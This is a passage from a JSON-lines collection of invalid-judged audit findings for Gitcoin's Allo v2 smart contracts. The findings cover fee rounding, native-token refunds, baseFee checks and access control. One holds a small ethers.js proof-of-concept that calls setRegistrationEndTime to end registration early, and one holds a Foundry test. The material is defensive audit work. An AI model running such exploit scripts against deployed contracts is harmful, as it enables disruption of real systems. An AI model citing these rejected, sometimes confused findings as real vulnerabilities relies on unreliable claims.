protocol, adds a new variable to the MesonStates contract as part of an upgrade. As a result of the addition, the storage slot of each subsequent variable changes, and the contract stops working\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L6-L9\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/libraries/Clone.sol#L5\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nRecommend adding appropriate storage gap at the end of upgradeable contracts such as the below. Please reference OpenZeppelin upgradeable contract templates.\n```solidity\nuint256[50] private __gap;\n\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/766.md"}} +{"title":"Paying fees could be avoided when in the fundPool function","severity":"info","body":"Bright Midnight Chipmunk\n\nmedium\n\n# Paying fees could be avoided when in the fundPool function\n\nPaying fees could be avoided when in the `Allo#fundPool` function\n\n## Vulnerability Detail\n\nIn the `Allo#fundPool` function at line 510, the value of `feeAmount` could be resulted in 0 if the funding amount is small enough. This could be exploited by making multiple funding calls on some of the cheap EVM chains, leading to avoiding paying protocol fees.\n\n## Impact\n\nPaying fees could be avoided when in the `Allo#fundPool` function\n\n## Code Snippet\n\n```solidity\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L510\nFile: Allo.sol\n502: function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n503: uint256 feeAmount;\n504: uint256 amountAfterFee = _amount;\n505: \n506: Pool storage pool = pools[_poolId];\n507: address _token = pool.token;\n508: \n509: if (percentFee > 0) {\n510: feeAmount = (_amount * percentFee) / getFeeDenominator(); \n511: amountAfterFee -= feeAmount;\n512: \n513: _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n514: }\n515: \n516: _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee})); /\n517: //_strategy.increasePoolAmount(amountAfterFee);\n518: \n519: emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n520: }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding checks that if `percentFee` is not equal to 0 then the paid fee amount should also be not 0.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/764.md"}} +{"title":"When funding a pool through the Allo contract with the native token, any native token that exceeds the amount specified for funding is not returned","severity":"info","body":"Dandy Lavender Wombat\n\nhigh\n\n# When funding a pool through the Allo contract with the native token, any native token that exceeds the amount specified for funding is not returned\n\nWhen a user funds a pool with the native token and sends a higher msg.value than the amount he specifies as an argument, only the amount of native token specified as an argument is send to the pool. The access native token is not refunded to the sender but remains in the Allo contract \n\n## Vulnerability Detail\nSee summary.\n\n\n\n## Impact\n\nThe user loses the access amount of native tokens he send to the allo contract.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L339-L345\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L502-L520\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nWhen interacting with native tokens check if the msg.value = amount. If not, revert","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/763.md"}} +{"title":"In QVSimpleStrategy.sol, allocator.voiceCredits is never decreased","severity":"info","body":"Formal Wintergreen Mole\n\nmedium\n\n# In QVSimpleStrategy.sol, allocator.voiceCredits is never decreased\nThe allocation system uses voiceCredits to keep track of the remaining credits in order to vote. This should decrease every time you vote, if it's == 0 you should not be able to vote. \nvoiceCredits is never decreased.\n## Vulnerability Detail\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124\nCalling allocate, `_hasVoiceCreditsLeft` (view function) checks if you have any credits left. If this == 0 it reverts.\n\nWe can see that in `_qv_allocate`, it's also never decreased:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n## Impact\nIn whatever scenario, it's possible to use more credits than originally allocated to the allocator. This makes `_hasVoiceCreditsLeft` useless since it always returns true.\n## Code Snippet\nProvided in Vulnerability Detail\n## Tool used\n\nManual Review\n\n## Recommendation\nIn `_allocate(bytes memory _data, address _sender)`, decrease `allocator.voiceCredits` by `voiceCreditsToAllocate`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/762.md"}} +{"title":"RFP Committee strategy allocation is not fair","severity":"info","body":"Boxy Clay Ladybug\n\nmedium\n\n# RFP Committee strategy allocation is not fair\nThere is no enforced voting period in `RFPCommitteeStrategy.sol`\n## Vulnerability Detail\nThe `_allocate()` function will save the first recipient that receives `voteThreshold` votes as the `acceptedRecipientId` which is unfair since in reality there might be another recipient that will receive more votes but requires more time for the allocators to vote. It is standard practice in all kinds of voting to have a voting period after which results are evaluated. \n## Impact\n`RFPCommitteeStrategy is unfair`\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L102-L139\n## Tool used\n\nManual Review\n\n## Recommendation\nImplement a Voting Period after which results are counted and `acceptedRecipientId` is set","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/759.md"}} +{"title":"Funds stuck at the Allo contract could be stolen using fundPool() function","severity":"info","body":"Bright Midnight Chipmunk\n\nmedium\n\n# Funds stuck at the Allo contract could be stolen using fundPool() function\n\nFunds stuck at the Allo contract could be stolen using the `fundPool` function\n\n## Vulnerability Detail\n\nThe `Allo#fundPool` function permits anyone to fund a chosen pool. When calling this function, the funder specifies the amount of the pool's tokens to be deposited into that strategy address. Concurrently, a portion of these funded tokens, determined by the `percentFee` variable, is sent to the treasury address.\n\nHowever, a vulnerability arises if the pool token is ETH (designated as NATIVE). Contract would check if the current `msg.value` is larger or equal to the transferred amounts at lines 513 and 516, while it should be larger or equal to their sum. A malicious funder might declare a funding amount larger than the actual `msg.value` by the exact fee percentage. If this happens, funds that should only be retrievable by the owner through the `recoverFunds` function would be paid out as a fee. This means the malicious funder could actually steal stuck funds by covering their own fees with it.\n\n## Impact\n\nFunds stuck at the Allo contract could be stolen using the `fundPool` function and used for fee payment\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502\n```solidity\nFile: Allo.sol\n339: function fundPool(uint256 _poolId, uint256 _amount) public payable nonReentrant {\n340: // if amount is 0, revert with 'NOT_ENOUGH_FUNDS()' error\n341: if (_amount == 0) revert NOT_ENOUGH_FUNDS();\n342: \n343: // Call the internal fundPool() function\n344: _fundPool(_amount, _poolId, pools[_poolId].strategy);\n345: }\n...\n502: function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n503: uint256 feeAmount;\n504: uint256 amountAfterFee = _amount;\n505: \n506: Pool storage pool = pools[_poolId];\n507: address _token = pool.token;\n508: \n509: if (percentFee > 0) {\n510: feeAmount = (_amount * percentFee) / getFeeDenominator();\n511: amountAfterFee -= feeAmount;\n512: \n513: _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n514: }\n515: \n516: _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee})); \n517: _strategy.increasePoolAmount(amountAfterFee);\n518: \n519: emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n520: }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding to the `fundPool` function check that if the pool token is `ETH` (`NATIVE`) then the funding amount should be equal to the `msg.value`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/758.md"}} +{"title":"Users have to pay more than the requirement to successfully create a pool","severity":"info","body":"Suave Cider Seahorse\n\nmedium\n\n# Users have to pay more than the requirement to successfully create a pool\nWhile creating a pool , users should pay `baseFee + _amount ` if the token is native or only the `baseFee` if the token is not native . \nHowever , this is not implemented correctly in the `_createPool` function . Current logics are : \n1. Users have to pay more than `baseFee + _amount ` if the funding token is native. \n2. Users have to pay more than `baseFee` if the funding token is not native . \n\nInstead , It should be like this : \n1. Users have to pay exactly `baseFee + _amount ` if the funding token is native. Excess funds are returned to the caller if sent mistakenly . \n2. Users have to pay exactly `baseFee` if the funding token is not native . Excess funds are returned to the caller if sent mistakenly . \n## Vulnerability Detail\nEven if caller send equal amount of required asset then it still reverts . \n\nThe problematic code from `_createPool` function in `Allo.sol` : \n\n```solidity\n\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) { //@ci M-03: Looks like it want the basefee+amount should be less than msg.value , otherwise here it reverts . But issue is if sent amount is equal to required amount then it still reverts ! \n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee); //reviewed : looks fine . this looks like eth transfer is happening from allo contract . make it sure first . if the assumption is correct , then if there is not sufficient fund in allo contract then this call will fail . A potential dos issue if base fee is pretty large . \n emit BaseFeePaid(poolId, baseFee);\n }\n```\n## Impact\nLoss of funds for the pool creator . \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n## Tool used\n\nManual Review\n\n## Recommendation\nRewrite the code as below : \n```solidity \n- if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) { }\n+ if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) { }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/756.md"}} +{"title":"when weird token reverts on zero transfer which can cause a dos attack in `_distribute#RFPCommittee`","severity":"info","body":"Jumpy Pear Beaver\n\nmedium\n\n# when weird token reverts on zero transfer which can cause a dos attack in `_distribute#RFPCommittee`\nA large threshold RFP committee can cause a dos in `_distribute` by actions that could happen from a weird ERC20 token\n## Vulnerability Detail\nWhen the strategy is in a state of distributing\n the milestone should be paid out to the `accptedRecipeint`\nIf it [results](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L435) in `amount = 0` by it being ` (1 * 1e17 /1e18) `. \n:ex the `Lend` [token](https://github.com/d-xo/weird-erc20#revert-on-zero-value-transfers) will revert not allowing further [milestones](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417) to be called. \nTo fix this the pool manager would have to come in and make the `poolActive` and `_allocate` again on a different recipient if they have a large threshold and PoolManagers are multi sigs it will take more than 1 year to resolve causing the dos attack according to sherlock rules \n## Impact\nThe reason why its medium issue is because\n>There is a viable scenario (even if unlikely) that could cause the protocol to enter a state where a material amount of funds can be lost. The attack path is possible with assumptions that either mimic on-chain conditions or reflect conditions that have a reasonable chance of becoming true in the future. \n1. it's unlikely state a. that it that token reverts like above b. the threshold is very large and this exploit requires that most pool managers are slow because they are multisgs and a lot of them that are not ready to manage in the most efficient way\n2. it can be considered to be true in the future and if pool managers grow which is very likely \n## Code Snippet\n```solidity\n//_distribute\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n // @audit as we can see 0 is possible \n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n \n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n```\n```solidity\n// committee voting \nfunction _allocate(bytes memory _data, address _sender) internal override onlyPoolManager(_sender) {\n if (acceptedRecipientId != address(0)) {\n revert RECIPIENT_ALREADY_ACCEPTED();\n }\n if (votes[recipientId] == voteThreshold) {\n // Set the accepted recipient\n acceptedRecipientId = recipientId;\n\n Recipient storage recipient = _recipients[acceptedRecipientId];\n recipient.recipientStatus = Status.Accepted;\n\n // Set the pool to inactive\n _setPoolActive(false);\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nto not make zero transfer revert on a random token\n```solidity\n// note pseudo code \nif(amount)==0{\nupcomingMilestones++;\n}\n```\nI think the best way to handle this so to just `++Milestone` since dusting errors are excepted and shouldn't cause big dos issues.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/755.md"}} +{"title":"RFP Committee strategy doesn't check if a user is registered","severity":"info","body":"Boxy Clay Ladybug\n\nmedium\n\n# RFP Committee strategy doesn't check if a user is registered\n`_allocate()` in `RFPCommitteeStrategy.sol` doesn't perform a check if a recipient is registered\n## Vulnerability Detail\n`_allocate()` in `RFPSimpleStrategy.sol` performs the check shown below if a user is registered, however, in `RFPCommitteeStrategy.sol` there is no such check which breaks the assumption that a recipient can be only allocated if they are registered. \n```solidity\nif (acceptedRecipientId == address(0) || recipient.recipientStatus != Status.Pending) {\n revert RECIPIENT_ERROR(acceptedRecipientId);\n}\n```\n## Impact\nOnly registered recipients can be allocated assumption is broken, future integrations can suffer from lacking such a check that is otherwise present in the rest of the strategies. \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L102-L139\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd a check to ensure a recipient is registered before allocating","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/754.md"}} +{"title":"DonationVotingMerkleDistributionBaseStrategy.sol Vulnerability","severity":"info","body":"Amateur Amber Mantis\n\nhigh\n\n# DonationVotingMerkleDistributionBaseStrategy.sol Vulnerability\n\nThe DonationVotingMerkleDistributionBaseStrategy contract has an access control vulnerability from this function, registrationEndTime.\nThere is a Denial Of Service Vulnerability where any address can use this contract's setRegistrationEndTime method to change the registrationEndTime to any value. By adjusting the registrationEndTime to the current block timestamp or a previous time, a malicious actor might take advantage of this to prematurely stop the registration period.\n\n## Vulnerability Detail\n\nThe contract's regular operation may be seriously disrupted if a hostile actor has complete control over the registrationEndTime. \nBy prematurely ending the registration time, it can prohibit legitimate users from enrolling, effectively resulting in a Denial of Service.\n\n\n## Impact\n\nIf the contract is used for crucial operations like token sales, voting, or any other activity requiring a registration period, this might possibly have a big impact. \nImplementing appropriate access control methods is therefore essential to preventing unauthorized modification of vital contract parameters.\n\n## Code Snippet\n\nThe following blocks of code are vulnerable:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L77C1-L85C1\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L116C1-L122C1\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L157C1-L160C1\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L275C1-L278C1\n\nThe following PoC will attempt to exploit the vulnerability:\n\nconst ethers = require('ethers');\n\nasync function exploit() {\n // Connect to the provider (e.g., a local Ganache instance)\n const provider = new ethers.providers.JsonRpcProvider('http://localhost:8545');\n\n // The attacker's wallet\n const attackerWallet = new ethers.Wallet('attacker-private-key', provider);\n\n // The address of the vulnerable contract\n const contractAddress = 'contract-address';\n\n // The ABI of the vulnerable contract\n const contractABI = [\n 'function setRegistrationEndTime(uint256 _endTime) public',\n 'function register() public'\n ];\n\n // Connect to the contract\n const contract = new ethers.Contract(contractAddress, contractABI, attackerWallet);\n\n // Set the registration end time to the current block timestamp\n const tx = await contract.setRegistrationEndTime(Math.floor(Date.now() / 1000));\n await tx.wait();\n\n console.log('Registration period ended prematurely');\n}\n\nexploit();\n\n\n## Tool used\n\nREMIX IDE\nManual Review\nVS Code\nFoundry\n\n## Recommendation\nImplement access control measures to limit who can call the setRegistrationEndTime method in order to counteract this issue. \nThe Ownable or AccessControl contracts offered by OpenZeppelin could be used to fix this.\n\nHere is the logic to fix this issue:\n\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\n\ncontract Registration is Ownable {\n uint256 public registrationEndTime;\n\n function setRegistrationEndTime(uint256 _endTime) public onlyOwner {\n registrationEndTime = _endTime;\n }\n\n function register() public {\n require(block.timestamp <= registrationEndTime, \"Registration has ended\");\n // Registration logic here\n }\n}","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/753.md"}} +{"title":"```_createPool``` reverts even if the ```msg.value``` == ```baseFee```","severity":"info","body":"Rhythmic Rusty Swan\n\nmedium\n\n# ```_createPool``` reverts even if the ```msg.value``` == ```baseFee```\nUpon creation of a pool a ```baseFee``` must be paid through the ```msg.value```. If an amount is also being deposited alongside the creation of the pool, then the ```msg.value``` must be >= ```baseFee``` + ```_amount```.\n\n## Vulnerability Detail\nHowever the transaction reverts for the case where ```msg.value == baseFee``` or ```msg.value ==baseFee + _amount``` stopping the pool from being created, when in reality it should've been created. \n\n## Impact\nEven though the ```msg.value``` of the transaction was sufficient to create the pool, the transaction is still reverted. This can lead to a loss of funds in the contract as an excess is being provided in order to fulfil the check statement. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473-L475\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAs the pool should be created for the instance when ```msg.value == baseFee + _amount``` or ```msg.value == baseFee``, we should change the if statement to:\n\n``` if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value))```\n\nmeaning we should remove the equals signs from the check so that the ```_createPool``` function doesn't revert under this instance.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/752.md"}} +{"title":"function _createPool in Allo.sol requires value to be greater than baseFee","severity":"info","body":"Macho Slate Copperhead\n\nmedium\n\n# function _createPool in Allo.sol requires value to be greater than baseFee\nWhen creating a new pool, under function _**_createPool**_ in _**Allo.sol**_ , if there is a base fee (i.e. baseFee > 0), the creator of the pool is required to send more ETH than the baseFee amount.\n\n## Vulnerability Detail\nThe amount of ETH to be sent when invoking _**createPool**_ (and hence _**_createPool**_) is required to be greater than the _**baseFee**_. When creating a pool and not adding any amount to the pool, **_msg.value_** should be equal to the _**baseFee.**_ The amount in excess gets locked in _**Allo.sol**_ and can only be recovered by the Allo owner by invoking **_recoverFunds_**.\n\n## Impact\nUsers have to spend more ETH than **_baseFee_** in order to create a pool. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L469-L478\n\n## Tool used\nManual Review.\n\n## Recommendation\nChange the condition to:\n` if(\n (_token == NATIVE && (baseFee + _amount > msg.value)) ||\n (_token != NATIVE && baseFee > msg.value)\n ) {\n revert NOT_ENOUGH_FUNDS();`\n }","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/750.md"}} +{"title":"Deterministic Cloning with Predictable Nonce","severity":"info","body":"Blunt Cerulean Hedgehog\n\nhigh\n\n# Deterministic Cloning with Predictable Nonce\nThe `createClone` function in the provided Solidity code creates deterministic clones of a contract using a salt derived from the sender's address and a nonce. If the nonce is not properly managed or can be predicted, it could potentially lead to security issues.\n## Vulnerability Detail\nThe `createClone` function is designed to create a clone of a given contract. It uses the OpenZeppelin library's `cloneDeterministic` function to create a clone with a deterministic address. The address is determined by the original contract's address and a \"salt\" value. The salt is generated by hashing the sender's address and a nonce:\n```solidity\nbytes32 salt = keccak256(abi.encodePacked(msg.sender, _nonce));\nreturn ClonesUpgradeable.cloneDeterministic(_contract, salt);\n```\nThe potential issue here is that if the nonce is predictable or not properly managed, an attacker could potentially create a clone with the same address as a future clone. This could lead to a variety of attacks, such as front-running or DoS.\n
\n**here is a possible attack scenario:**\n1. The attacker observes the contract and understands that it uses a predictable nonce for creating clones of a contract.\n2. The attacker predicts the nonce that will be used for the next clone creation. They do this by observing the pattern of previous nonces or by exploiting some other system weakness that reveals the next nonce.\n3. The attacker then sends a transaction to the `createClone` function with the predicted nonce and the address of the contract they want to clone. This creates a clone contract at an address that will be the same as the address of the next legitimate clone.\n4. Now, when a legitimate user or system tries to create a clone with the predicted nonce, the transaction will fail because a contract already exists at the calculated address. This could disrupt the normal operation of the system, leading to a denial of service.\n5. Alternatively, if the cloned contract is expected to receive funds, the attacker could withdraw those funds before the legitimate user or system realizes what has happened. This could lead to a loss of funds.\n## Impact\nAn attacker could potentially manipulate the system by creating a clone with the same address as a future clone. This could lead to unexpected behavior of the system, including potential loss of funds or denial of service.\n## Code Snippet\n(https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Clone.sol#L31)\n## Tool used\n\nManual Review\n\n## Recommendation\n To mitigate this issue, it is recommended to ensure that the nonce is unpredictable and properly managed. This could be achieved by using a counter that is incremented each time a clone is created, or by using a random number that is not revealed until after the clone is created. Additionally, it would be beneficial to implement access controls to restrict who can create clones.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/747.md"}} +{"title":"Unit of milliseconds instead of seconds for some timestamps can lead to DOS","severity":"info","body":"Cold Lemon Weasel\n\nmedium\n\n# Unit of milliseconds instead of seconds for some timestamps can lead to DOS\nIn QVBaseStrategy.sol, there is a comment specifying that registrationStartTime, registrationEndTime, allocationStartTime and allocationEndTime should be in milliseconds.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L86-L91\n```solidity\n /// @notice The start and end times for registrations and allocations\n /// @dev The values will be in milliseconds since the epoch\n uint64 public registrationStartTime;\n uint64 public registrationEndTime;\n uint64 public allocationStartTime;\n uint64 public allocationEndTime;\n```\nHowever, in Solidity, timestamps are usually denoted in seconds, for example \"block.timestamp\". If someone sets the 4 variables to values that are denoted in milliseconds, that could become an issue. For example:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L324-L328\n```solidity\n /// @notice Check if the allocation has ended\n /// @dev Reverts if the allocation has not ended\n function _checkOnlyAfterAllocation() internal view virtual {\n if (block.timestamp < allocationEndTime) revert ALLOCATION_NOT_ENDED();\n }\n```\nIf allocationEndTime is in milliseconds, it would mean that it would be 1000 times larger than block.timestamp and the _checkOnlyAfterAllocation() function will cause a revert for a long time. This function is used in the onlyAfterAllocation modifier, which in turn is applied to the _distribute() function.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L181-L186\n```solidity\n /// @notice Modifier to check if the allocation has ended\n /// @dev Reverts if the allocation has not ended\n modifier onlyAfterAllocation() {\n _checkOnlyAfterAllocation();\n _;\n }\n```\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L432-L465\n```solidity\n /// @notice Distribute the tokens to the recipients\n /// @dev The '_sender' must be a pool manager and the allocation must have ended\n /// @param _recipientIds The recipient ids\n /// @param _sender The sender of the transaction\n function _distribute(address[] memory _recipientIds, bytes memory, address _sender)\n internal\n virtual\n override\n onlyPoolManager(_sender)\n onlyAfterAllocation\n {\n```\nThis means that the distribution will not be able to take place, since the call will revert, because of the big timestamp in milliseconds being evaluated against block.timestamp, which is in seconds.\n\n## Impact\nDOS - distribution of funds will not be able to take place. I decided to rank it as a medium since the pool manager can update the timestamps through a call to the updatePoolTimestamps() function. However, the comment in the codebase clearly says that the 4 timestamps should be in milliseconds, which is wrong, considering the scenario I've explained.\n\n## Tool used\n\nManual Review\n\n## Recommendation\nI would recommend that the protocol either changes the instructions for timestamps to be in seconds instead of milliseconds. An alternative would be to use block.timestamp * 1000 in the comparisons.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/745.md"}} +{"title":"`Allo::_createPool()` expects more than the required `baseFee`, which will cause a loss of funds","severity":"info","body":"Energetic Berry Llama\n\nhigh\n\n# `Allo::_createPool()` expects more than the required `baseFee`, which will cause a loss of funds\nThe code part that checks if the `msg.value` is enough to create a pool is incorrectly implemented and expects more than required. The function reverts if the exact amount is sent. It expects more than the exact amount but doesn't refund the excess amount. Every pool creation will cause a loss of funds to the creators.\n\n## Vulnerability Detail\nAllo protocol has two different fee types: `baseFee` and `percentFee`. \n`baseFee` is paid during pool creation and is the same for every pool, `percentFee` is paid during the funding of the pool and it depends on the funding amount. According to documentation, the protocol `baseFee` is 0 at the moment but it will be implemented in the future.\n\nThe issue is in the `_createPool()` function when the `baseFee > 0`. The function reverts if the exact amount of `baseFee` is paid. \n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473C1-L475C14](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473C1-L475C14)\n\n```solidity\nfile: Allo.sol\n// inside the _createPool() function\n \n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n--> if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) { //@audit it reverts when the baseFee is paid. It expects more than the baseFee\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n```\n\nNormally there are few options in this kind of situations.\n\n1. Expect the user to send more than the required amount. \n Use the necessary amount in the function. \n Refund the excess amount.\n \n2. Expect the user to send exactly the required amount \n Revert if the sent amount and required amount don't match\n \n\nBut unfortunately, this function with the current implementation expects more than the required amount but doesn't refund the excess amount.\n\n## Coded PoC\n\nYou can use the protocol's own setup to prove the PoC below \n\\- Copy the code snippet and paste it into the Allo.t.sol test file. \n\\- Run `forge test --match-test test_CanNotCreatePool_WhenPayingBaseFee`\n\n```solidity\n//@audit-issue Pay the exact baseFee amount to create the pool.\n function test_CanNotCreatePool_WhenPayingBaseFee() public {\n uint256 baseFee = 1e17;\n\n allo().updateBaseFee(baseFee);\n\n vm.deal(address(pool_admin()), 1e18);\n\n \n vm.prank(pool_admin());\n\n // Reverts when paying exact base fee amount even if you don't fund the pool\n vm.expectRevert(NOT_ENOUGH_FUNDS.selector);\n allo().createPoolWithCustomStrategy{value: 1e17}(\n poolProfile_id(), strategy, \"0x\", NATIVE, 0, metadata, pool_managers()\n );\n }\n```\n\nYou can find the test result below:\n\n```solidity\nRunning 1 test for test/foundry/core/Allo.t.sol:AlloTest\n[PASS] test_CanNotCreatePool_WhenPayingBaseFee() (gas: 454512)\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 